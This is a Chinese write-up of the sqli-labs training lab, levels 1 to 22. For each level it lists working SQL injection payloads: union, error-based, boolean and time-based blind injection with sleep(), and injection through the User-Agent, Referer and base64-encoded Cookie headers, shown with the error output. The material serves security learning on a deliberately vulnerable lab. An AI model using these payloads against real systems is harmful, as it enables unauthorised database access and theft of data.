sqli-labs靶场(1-22关)

2023-10-27

目录

第一关:

第二关:

第三关:

第四关:

第五关(盲注):

第六关(盲注):

第七关(报错盲注):

第八关(时间盲注):

第九关(时间盲注):

第十关(时间盲注):

第十一关(报错):

 第十二关:

第十三关:

第十四关:

第十五关(布尔类型盲注):

第十六关:

第十七关(update):

第十八关(头部注入insert型):

第十九关:

第二十关:

第二十关(base64编码):

第二十二关:


第一关:

先用'试试水

id=1'

果然发现报错了,直接干

#有返回
?id=1' and 1=1--+ 
#无返回
?id=1' and 1=2--+

第二关:

直接上第一关的payload试试水,改用"也不太行,最后直接不加才知道是数字型

?id=1' and 1=1--+
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " and 1=1-- LIMIT 0,1' at line 1

?id=1" and 1=1--+
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" and 1=1-- LIMIT 0,1' at line 1

?id=1 and 1=1--+
?id=1 and 1=2--+

第三关:

?id=1 ' and 1=1--+
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

?id=1 " and 1=1--+
?id=1 " and 1=2--+

第四关:

?id=1' and 1=1 --+
?id=1" and 1=1 --+
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

#上面报错觉得是'的问题所以用"'

?id=1"' and 1=1 --+
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and 1=2 -- ") LIMIT 0,1' at line 1

#报错看到--后面是"),猜到是")来闭合

?id=1") and 1=1 --+
?id=1") and 1=2 --+

第五关(盲注):

?id=1 ' and 1=1--+
?id=1 ' and 1=2--+

第六关(盲注):

?id=1
?id=1'
?id=1"
?id=1 " and 1=1--+
?id=1 " and 1=2--+

第七关(报错盲注):

?id=1'"
#You have an error in your SQL syntaxYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"')) LIMIT 0,1' at line 1

?id=1 ')) and 1=1--+     #true and true  为 true
?id=1 ')) and 1=2--+     #true and false 为 true
#You have an error in your SQL syntax

第八关(时间盲注):

?id=1
?id=1'

?id=1' and 1=1 --+
#You are in...........

?id=1' and 1=2 --+
#什么都不回显,可以使用时间盲注sleep()函数

第九关(时间盲注):

一开始没什么怎么搞都没反应,觉得是个盲注,然后看了一下源码,构造payload

?id=1' and if(length(database())=8,sleep(10),sleep(1))--+
?id=1' and if(length(database())=5,sleep(10),sleep(1))--+
#电脑垃圾自带延迟两秒

 

第十关(时间盲注):

?id=1" and if(length(database())=8,sleep(10),sleep(1))--+
?id=1" and if(length(database())=5,sleep(10),sleep(1))--+
#电脑垃圾自带延迟两秒

 

第十一关(报错):

这里的注释用#

Username =admin '#
Password =admin
/*
Your Login name:admin
Your Password:admin
*/

 Username=admin 'order by 1#

 Username=admin 'order by 10#

 第十二关:

Username =admin ' #
#没有回显

Username =admin " #
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

#报错了在"后加个'
Username =admin "' #
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''#") and password=("admin") LIMIT 0,1' at line 1

#报错出#号后面的东西可以写出payload
Username =admin ") and 1=1 #
//回显
//Your Login name:admin
//Your Password:admin

Username =admin ") and 1=2 #
//没有回显

第十三关:

Username = admin ' #
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Username = admin '"#
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"#') and password=('admin') LIMIT 0,1' at line 1

#报错提示 #') payload
Username = admin ') and if(length(database())=8,sleep(10),sleep(1)) #
#延迟10秒闭合成功

第十四关:

Username = admin '#

Username = admin "#

Username = admin '"#

Username = admin "'#
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''#" and password="admin" LIMIT 0,1' at line 1

#报错#"  payload
Username = admin "and if(length(database())=8,sleep(10),sleep(1)) #

第十五关(布尔类型盲注):

Username =admin '#
#登录成功

Username =admin "#
#登录失败

#payload
Username =admin ' and length(database())>7 #
#登录成功
Username =admin ' and length(database())>9 #
#登录失败

第十六关:

Username =admin '#
#登录失败

Username =admin "#
#登录失败

Username =admin ')#
#登录失败

Username =admin ")#
#登录成功

#payload
Username =admin ") and length(database())>7 #
#登录成功
Username =admin ") and length(database())>9 #
#登录失败

第十七关(update):

源码接收uname和passwd部分

$uname=check_input($con1, $_POST['uname']);  
#源码定义了check_input函数,用于过滤长度和魔法引号
$passwd=$_POST['passwd'];
#passwd接收没有调用check_input可以在passwd这里进行注入

check_input

function check_input($con1, $value)
{
	if(!empty($value))
	{
		// truncation (see comments)
		$value = substr($value,0,15);
        //取前15位
	}

	// Stripslashes if magic quotes enabled
	if (get_magic_quotes_gpc())
	{
		$value = stripslashes($value);
	}

	// Quote if not a number
	if (!ctype_digit($value))
	{
		$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
	}
	else
	{
		$value = intval($value);
	}
	return $value;
}

payload

username = admin
password =admin 'or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or'

#爆出数据库版本

第十八关(头部注入insert型):

接收username和passwd

	$uname = check_input($con1, $_POST['uname']);
	$passwd = check_input($con1, $_POST['passwd']);

sql语句,会先验证账号密码是否正确正确才执行第二句sql语句

	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysqli_query($con1, $sql);
	$row1 = mysqli_fetch_array($result1, MYSQLI_BOTH);
	if($row1)
	{
		echo '<font color= "#FFFF00" font size = 3 >';
		$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
		mysqli_query($con1, $insert);
		//echo 'Your IP ADDRESS is: ' .$IP;
		echo "</font>";
		//echo "<br>";
		echo '<font color= "#0000ff" font size = 3 >';			
		echo 'Your User Agent is: ' .$uagent;
		echo "</font>";
		echo "<br>";
		print_r(mysqli_error($con1));			
		echo "<br><br>";
		echo '<img src="../images/flag.jpg"  />';
		echo "<br>";

	}

在代码中可以看出用单引号来闭合构造payload (我的这里的数据库版本比较低用不了updatexml和extractvalue,只能用sleep来实验是否注入成功,后面都是用sleep来实验)

User-Agent:1',1,1)#

 User-Agent:1',1,sleep(5))#

第十九关:

直接输入

username=admin
password=admin

 回显referer的信息,用burpsuit抓包尝试对referer进行注入

Referer: '
#报错 192.168.3.178'), 猜测是insert型,而且是两个参数是用单引号闭合,写payload

Referer: ',sleep(5))#

第二十关:

直接输入

username=admin
password=admin

回显信息,用burpsuit抓包尝试进行注入

Cookie: uname=admin'
#报错

Cookie: uname=admin'#
#不报错

payload
Cookie: uname=admin' order by 3#
Cookie: uname=-admin' union select 1,2,3#
Cookie: uname=-admin' union select 1,version(),database()#

第二十关(base64编码):

用admin:admin登录显示

 这里补充一个点,cookie值是有base64编码的,假如有注入点,我们需要先解码成原文,再在原文的基础上构造payload,构造完在进行base64编码发包给服务端。否则不能注入。

编码的操作太繁琐了我直接放payload
#admin ') order by 3#
Cookie: uname=YWRtaW4gJykgb3JkZXIgYnkgMyM=

#-admin ') union select 1,2,3#
Cookie: uname=LWFkbWluICcpIHVuaW9uIHNlbGVjdCAxLDIsMyM=

第二十二关:

思路和第二十一关一样,不过二十二是双引号

#admin " order by 3#
Cookie: uname=YWRtaW4gIiBvcmRlciBieSAzIw==

#-admin " union select 1,2,3#
Cookie: uname=LWFkbWluICIgdW5pb24gc2VsZWN0IDEsMiwzIw==

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs靶场(1-22关) 的相关文章

  • MySQL 连接最新行

    我有两张桌子agents and calls 座席将始终处于一个活动呼叫中 可能有另一个待处理的呼叫分配给某个座席 而该座席尚未应答 我想编写一个查询来测试最新的调用是否按排序dateCreated与代理表中当前活动的呼叫匹配 以下是当前呼
  • 从关键字后的文本中提取字符串

    我想从 SQL 字段中关键字后面的文本中提取内容 我有一个名为Description在表中 该字段的内容是 asdasf 关键字 狗 aeee 关键字 猫 ffffaa 关键词 狼 我想提取并保存 关键字 之后的文本 在本例中dog cat
  • PHP 插入中的 mysqli_affected_rows

    我有这个代码 if mail to subject message headers insert member sql INSERT INTO members id username VALUES id username insert me
  • 与派生表的内连接

    我对连接派生表的基本语法有疑问 这是使用的基本语法吗 select from table1 a inner join select from table2 as T1 on 1 ID T1 ID 那行得通吗 您是在问加入两个子查询吗 尝试
  • 如何在 Hibernate 中使用 SELECT 进行 INSERT

    我需要在休眠中实现以下请求 insert into my table max column values select max id from special table where 如何在休眠中使用注释来做到这一点 Special tab
  • 将 .sql 文件导入 SQLite

    我正在尝试将大型 sql 文件导入 SQLite db 文件 但出现以下错误 sqlite gt read smsCorpus en 2012 04 30 sql Error near line 23 near COMMENT syntax
  • Join 表(关联表)有主键吗?多对多关系

    Join 表 关联表 有主键吗 多对多的关系 我见过一些带有主键的连接表 一些没有 有人可以解释一下连接表中何时会有主键吗 为什么 先感谢您 在纯 联接 或联结表中 所有字段都将成为主键的一部分 例如 让我们考虑下表 CREATE TABL
  • 计算 MySQL 中的行数以及实际行内容

    MySQL 中有没有办法执行单个 SQL 语句来返回所选行以及结果行数 我可以做这个 SELECT COUNT FROM BigTable WHERE firstname LIKE a 这给了我一个带有计数 37 781 的结果行 我可以像
  • Knex 中的表的别名

    我有一个 SQL 查询两次引用同一个表 并且我需要将该表别名为两个单独的别名 我不太清楚如何用 Knex 来编写它 有一个 单词 表和一个 用户 表 Words 表有两个外键 author id 和 winner id 引用 Users 表
  • 带外键或不带外键的引用有什么区别

    关于SQLite 带外键或不带外键的引用有什么区别 这有什么区别 CREATE TABLE players set id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL player id INTEGE
  • R dbGetQuery 与动态字符串

    From 这个帖子 https stackoverflow com questions 3416973 dynamic string in r and 这个帖子 https stackoverflow com questions 34496
  • 未知的 MySQL 服务器主机 (PHP)

    当尝试连接到我的数据库服务器时 我遇到了以下问题未知主机 Warning mysqli mysqli mysqli mysqli HY000 2005 Unknown MySQL server host xxxxxxxxxxxxx port
  • 在 SQL Server 中执行嵌套 case 语句逻辑的最佳方法

    我正在编写一个 SQL 查询 其中返回的一些列需要根据很多条件进行计算 我目前正在使用嵌套的 case 语句 但它变得混乱 有更好的 更有组织性和 或可读性 方法吗 我使用的是 Microsoft SQL Server 2005 一个简化的
  • 当我在 JDBC 应用程序中调用PreparedStatement.cancel() 时,它实际上会在 Oracle 数据库中杀死它吗?

    我有针对 Oracle 10g 数据库运行的 Java JDBC 应用程序 我设置了一个PreparedStatement来执行查询 然后调用ps executeQuery 来运行它 有时查询需要很长时间 我需要终止它 我有另一个线程访问该
  • mysql 分区错误主键必须包含表分区函数中的所有列

    在 MySQL 8 上我有这个表 CREATE TABLE float values id bigint UNSIGNED NOT NULL attribute id bigint UNSIGNED NOT NULL value doubl
  • Oracle中“NUMBER”和“NUMBER(*,0)”相同吗?

    在甲骨文中文档 http docs oracle com cd B28359 01 server 111 b28318 datatype htm i22289据说 数字 精度 小数位数 如果未指定精度 则该列将存储给定的值 如果 未指定比例
  • (mysql, php) 如何在插入数据之前获取auto_increment字段值?

    我正在将图像文件上传到存储服务器 在上传之前 我应该编写文件名 其中包含自动增量值 例如 12345 filename jpg 在插入数据库之前如何获取自动增量值 我只看到一种解决方案 插入空行 获取其自增值 删除这一行 使用 p 1 中的
  • SQL Server 2008中的分割函数

    I have Table1像这样的列 ID Name 1 MSSQL 2 MySQl 3 Oracle In Table2 我有一个像这样的专栏 Databasename 1 3 2 1 2 我的输出应该是 Databasename MSS
  • MySQL为什么在插入时我的自动增量不是从1开始?

    为什么当我使用 jdbc 向数据库中插入数据时 我的表 auto increment 会被提升 填充完全空表的示例 狗桌 DogId DogName 3 Woofer 4 Kujo 5 Spike 所有者表 OwnerId DogID Ow
  • SQL 中 NOT 和 != 运算符有什么区别?

    有什么区别NOT and SQL 中的运算符 我无法理解其中的区别 我猜他们是一样的 NOT negates以下条件 因此它可以与各种运算符一起使用 is the 非标准替代品 https stackoverflow com a 10650

随机推荐

  • 神经网络算法开发学习总结--算法应用及优化

    1 算法目标设定 首先要确定一个算法目标及约束条件 比如运行时间 硬件内存限制 准确度等选择算法 学习效果一般尽量采用单个指标进行评估 对于 N 个评价指标 选择其中一个指标作为优化指标 选择剩下的 N 1 个指标作为满足指标 比如针对分类
  • 【计算机网络】HTTP协议详解

    目录 1 HTTP协议概述 2 HTTP协议的工作过程 3 使用抓包工具观察HTTP协议格式 3 1 Fiddler抓包工具 3 2 HTTP协议格式 4 解析HTTP请求 4 1 URL 4 2 请求方法 4 2 1 GET方法 4 2
  • Python-Pygame实践:《杀死冠状病毒》

    2020年春节前后 冠状病毒爆发 遂编写这个游戏 希望武汉人民加油 中国人民加油 杀死病毒 获得胜利 游戏的内容参考的是Eric Matthes的 Python编程从入门到实践 中的项目1外星人入侵 稍作修改 以下是书中对该游戏的描述 在游
  • 【Review】用于SLAM的地点识别(Place Recognition)

    目录 1 Point Cloud Lidar 2021 ICRA ICCV IROS CVPR Others 2020 2019 ICCV 2018 IROS 2 Researchers 3 Visual 2021 IROS ICCV CV
  • linux Mysql 安装

    目录 前言 概念 应用环境 安装步骤 修改密码 按装脚本 MySQL 操作案例 创建数据库 数据表 MySQL 5 7远程登录 前言 本内容主要讲述在 linux 系统下怎么样安装 Mysql 以下讲述过程经过多方面整理而成 概念 MySQ
  • 2021-08-10 layui折叠面板的使用

    官方参考 element模块元素操作文档 Layui 面板 在线演示 Layui 实现效果 html 在折叠面板的父容器设置属性 lay accordion 来开启手风琴 那么在进行折叠操作时 始终只会展现当前的面板 div class l
  • 抓包微信下线的操作思路

    我来详细介绍一下实现微信下线操作的思路 1 首先 你需要清楚微信客户端和服务器之间的通信流程 微信客户端通过向服务器发送登录请求完成登录操作 而微信下线操作则需要模拟微信客户端向服务器发送下线请求 2 接下来 你需要使用网络抓包工具对微信客
  • 矩阵反演公式的推导证明

    已知 A A A为 n n n times n n n阶非奇异矩阵 D
  • caffe的Net类学习

    注意 这是临时的学习心得 乱得很 莫耽误各位时间 caffe的Net类 Net m文件 注释 classdef Net lt handle Wrapper class of caffe Net in matlab properties Ac
  • 基于SpringBoot框架的协同过滤算法的体育用品商城设计与实现

    系统合集跳转 一 系统环境 运行环境 最好是java jdk 1 8 我们在这个平台上运行的 其他版本理论上也可以 IDE环境 Eclipse Myeclipse IDEA或者Spring Tool Suite都可以 tomcat环境 To
  • 数据挖掘简答知识点总结

    绪论 为什么进行数据挖掘 1 已获得的大量数据往往是数据丰富但信息贫乏的 2 计算设备变得廉价且功能强大 3 没有强大的工具的话 数据量已经超过人类的理解能力 4 数据收集存储的速度越来越快 5 传统技术已经不适用于原始数据 6 数据挖掘有
  • 一个函数有多少行代码比较合适?

    要看功能 如果一个方法可以分成好多个子功能的话尽量将其抽取出来作为单独的方法 曾经重构过好多这样的代码 不是写代码的人水平低 主要还是不负责 懒得多想 个人觉得函数的写法应该遵循以下两点基本的原则 1 当发现函数中有重复代码的时候 说明你可
  • html和css

    首先说明 这两者根本不能相比 他们无论从什么方面相比都是不同的 其中html可以通过标准的标签达到一定显示功能效果css则是样式表 是对构成网页的元素 如字体 内容位置等 作出视觉上的设计效果 一个网页可以没有css样式 但不能没有html
  • 变量 、常量、枚举

    2 变量 常量 枚举 2 1 变量 变量 计算机语言能存储计算结果或表示值的抽象概念 可以通过变量名访问 变量名由字母 数字 下划线组成 其中首个字符不能为数字 声明变量的一般形式是使用 var 关键字 var identifier typ
  • 浅谈IPv4协议与IPv6协议的区别

    浅谈IPv4协议与IPv6协议的区别 咱们先了解下什么叫IPv4协议和IPv6协议 IPv4 是互联网协议 Internet Protocol IP 的第四版 应属第一个被广泛应用 构成现阶段互联网技术的基础的协议 1981年 Jon Po
  • 生命在于研究——ensp配置旁挂三层组网示例【OSPF+两个无线网络WPAPSK认证+DHCP】

    ensp配置旁挂三层组网示例 OSPF 两个无线网络WPAPSK认证 DHCP 一 业务需求 1 路由使用OSPF Vlan的网关配置在LSW1上 2 WLan采用三层组网 AC旁挂模式 3 创建两个无线网络 分别为ycu和guest 其中
  • 利用 vant 封装精确到秒的时间选择器,让 vue 开发更简单

    前言 在移动开发中 时间选择的控件比比皆是 但却鲜有类似的组件可以精确到秒级别的 官方可能是考虑到小屏幕手机的显示问题 也可能是使用的场景寥寥无几 但是少不代表没有 所以最近花了点时间基于 vant 组件库封装了一个可以精确到秒级别的时间选
  • MFC关于Radio按钮的操作

    基础介绍 radio button通常都是成组使用的 在一组里面是互斥的 分组的原则是 1 首先将RadioButton控件定好Tab顺序 具体方法 工具栏 格式 gt Tab键顺序 选项选中 然后按照预定的顺序依次点击对话框上面的Radi
  • shell脚本中执行kill进程

    继上一篇文章 只是在linux中用命令行中操作 之后我实战在shell脚本中 发现问题累累 在shell中kill掉程序写的命令 ps ef grep pid grep v grep awk print 3 执行shell脚本 运行结果 s
  • sqli-labs靶场(1-22关)

    目录 第一关 第二关 第三关 第四关 第五关 盲注 第六关 盲注 第七关 报错盲注 第八关 时间盲注 第九关 时间盲注 第十关 时间盲注 第十一关 报错 第十二关 第十三关 第十四关 第十五关 布尔类型盲注 第十六关 第十七关 update